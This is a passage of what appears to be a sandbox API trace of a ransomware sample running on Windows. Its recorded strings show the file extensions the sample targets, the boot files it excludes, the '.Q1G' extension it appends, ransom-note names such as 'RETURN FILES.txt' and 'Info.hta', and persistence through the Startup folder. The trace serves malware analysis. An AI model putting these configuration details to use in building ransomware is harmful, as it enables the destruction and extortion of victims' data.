RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe) returned 0x5aec20 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aec38 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe) returned 0x5aec50 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aec68 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aec80 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aec98 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aecb0 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aecc8 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x5aece0 [0234.093] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aecf8 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aed10 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aed28 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aed40 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aed58 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aed70 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aed88 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeda0 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aedb8 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aedd0 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aede8 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aee00 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aee18 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aee30 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aee48 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aee60 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aee78 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x10) returned 0x5aee90 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x12) returned 0x5661b8 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeea8 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeec0 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeed8 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aeef0 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x5aef08 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58af48 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58af60 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58af78 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58af90 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58afa8 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58afc0 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58afd8 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58aff0 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b008 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b020 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b038 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b050 [0234.094] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b068 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b080 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b098 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x58b0b0 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x58b0c8 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x58b0e0 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe) returned 0x58b0f8 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x58b110 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x569550 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b128 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x569560 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b140 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b158 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b170 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x58b188 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x58b1a0 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b1b8 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x58b1d0 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b1e8 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b200 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x58b218 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b230 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x58b248 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc) returned 0x58b260 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b278 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8) returned 0x569570 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b290 [0234.095] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa) returned 0x58b2a8 [0234.095] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569a70, Size=0x800) returned 0x58b730 [0234.095] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0234.096] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5acf28 | out: hHeap=0x530000) returned 1 [0234.096] lstrlenW (lpString="") returned 0 [0234.096] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58c070 | out: hHeap=0x530000) returned 1 [0234.096] lstrlenW (lpString=".Q1G") returned 4 [0234.096] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5655b0, Size=0x8) returned 0x5655b0 [0234.096] lstrlenW (lpString=".Q1G") returned 4 [0234.096] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58c070 | out: hHeap=0x530000) returned 1 [0234.096] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c0a0, Size=0x20) returned 0x544638 [0234.096] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544638, Size=0x40) returned 0x566d38 [0234.096] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566d38, Size=0x80) returned 0x5aaf40 [0234.096] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5695e0, Size=0x8) returned 0x5695f0 [0234.096] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5695f0, Size=0x10) returned 0x58c0a0 [0234.096] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c0a0, Size=0x20) returned 0x544610 [0234.096] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0234.096] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5aaf40 | out: hHeap=0x530000) returned 1 [0234.096] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c0d0, Size=0x20) returned 0x565b98 [0234.096] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565b98, Size=0x40) returned 0x566d38 [0234.096] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0234.096] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0234.096] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x566d38 | out: hHeap=0x530000) returned 1 [0234.096] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c0d0, Size=0x20) returned 0x565b98 [0234.096] lstrlenW (lpString="Info.hta") returned 8 [0234.096] lstrlenW (lpString="Info.hta") returned 8 [0234.096] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565b98 | out: hHeap=0x530000) returned 1 [0234.097] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x58c338, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\uyuquk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\uyuquk.exe")) returned 0x66 [0234.097] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58c338 | out: hHeap=0x530000) returned 1 [0234.097] lstrlenW (lpString="uyuquk.exe") returned 10 [0234.097] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544610, Size=0x40) returned 0x566d38 [0234.097] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c0d0, Size=0x20) returned 0x544610 [0234.097] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c0d0, Size=0x20) returned 0x565b98 [0234.097] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565b98, Size=0x40) returned 0x566d80 [0234.097] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566d80, Size=0x80) returned 0x5aaf40 [0234.097] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5aaf40, Size=0x100) returned 0x5acf28 [0234.097] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0234.097] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5acf28 | out: hHeap=0x530000) returned 1 [0234.097] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x58c338, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0234.097] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5aef30 | out: hHeap=0x530000) returned 1 [0234.097] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58c338 | out: hHeap=0x530000) returned 1 [0234.097] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5695f0, Size=0x8) returned 0x5695e0 [0234.097] lstrlenW (lpString="%windir%;") returned 9 [0234.098] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544610 | out: hHeap=0x530000) returned 1 [0234.098] lstrlenW (lpString="C:\\Windows;") returned 11 [0234.098] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57af28 | out: hHeap=0x530000) returned 1 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c0e8, Size=0x20) returned 0x544610 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x544610, Size=0x40) returned 0x566d80 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566d80, Size=0x80) returned 0x5aaf40 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5aaf40, Size=0x100) returned 0x5acf28 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569620, Size=0x8) returned 0x569630 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569630, Size=0x10) returned 0x58c130 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c130, Size=0x20) returned 0x544610 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5695f0, Size=0x8) returned 0x569630 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569600, Size=0x8) returned 0x5695f0 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569620, Size=0x8) returned 0x569640 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569640, Size=0x10) returned 0x58c1d8 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c1d8, Size=0x20) returned 0x565b98 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569630, Size=0x10) returned 0x58c1d8 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5695f0, Size=0x10) returned 0x58c208 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569630, Size=0x8) returned 0x569620 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569650, Size=0x8) returned 0x569660 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c1d8, Size=0x20) returned 0x565be8 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c208, Size=0x20) returned 0x565af8 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569670, Size=0x8) returned 0x569680 [0234.098] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0234.098] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5acf28 | out: hHeap=0x530000) returned 1 [0234.098] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c280, Size=0x20) returned 0x565c10 [0234.098] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x57af28, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0234.098] lstrlenW (lpString="C:\\") returned 3 [0234.098] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0234.100] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x57af28 | out: hHeap=0x530000) returned 1 [0234.100] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5696b0, Size=0x82) returned 0x5ad490 [0234.100] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5696d0, Size=0x100) returned 0x5ad520 [0234.100] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5ad490, Size=0x104) returned 0x5ad748 [0234.100] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5ad520, Size=0x200) returned 0x5ad858 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5696c0 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ad858 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ad0a8 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ab0d8 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58c2e0 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ab160 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58c310 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ad748 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58c2f8 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ad628 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ad0c0 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ad6b8 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ad0d8 | out: hHeap=0x530000) returned 1 [0234.101] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c2f8, Size=0x20) returned 0x565c38 [0234.101] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565c38, Size=0x40) returned 0x566d80 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x569690 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58c280 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ad000 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58c2b0 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5ab050 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58c298 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5696a0 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x58c2c8 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5449d0 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5662b8 | out: hHeap=0x530000) returned 1 [0234.101] lstrlenW (lpString="%systemdrive%") returned 13 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x565c10 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5aaf40 | out: hHeap=0x530000) returned 1 [0234.101] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x569670 | out: hHeap=0x530000) returned 1 [0234.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x56af08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0234.102] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c2c8, Size=0x20) returned 0x565c38 [0234.102] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565c38, Size=0x40) returned 0x566dc8 [0234.102] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566dc8, Size=0x80) returned 0x5aaf40 [0234.102] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5aaf40, Size=0x100) returned 0x5ad490 [0234.102] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5ad490, Size=0x200) returned 0x5ad490 [0234.102] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5ad490, Size=0x400) returned 0x5ad490 [0234.102] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5ad490, Size=0x800) returned 0x5ad490 [0234.102] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5ad490, Size=0x1000) returned 0x5bef50 [0234.102] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569670, Size=0x8) returned 0x569690 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x569690, Size=0x10) returned 0x58c2e0 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x58c2e0, Size=0x20) returned 0x565c38 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x565c38, Size=0x40) returned 0x566dc8 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x566dc8, Size=0x80) returned 0x5aaf40 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5aaf40, Size=0x100) returned 0x57cf48 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57cf48, Size=0x200) returned 0x5ad890 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5ad890, Size=0x400) returned 0x57ef30 [0234.103] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x57ef30, Size=0x800) returned 0x57ff38 [0234.103] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0234.103] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5bef50 | out: hHeap=0x530000) returned 1 [0234.103] lstrlenW (lpString="") returned 0 [0234.103] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x580db8 | out: hHeap=0x530000) returned 1 [0234.103] lstrlenW (lpString=".Q1G") returned 4 [0234.103] lstrlenW (lpString=".Q1G") returned 4 [0234.103] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x580db8 | out: 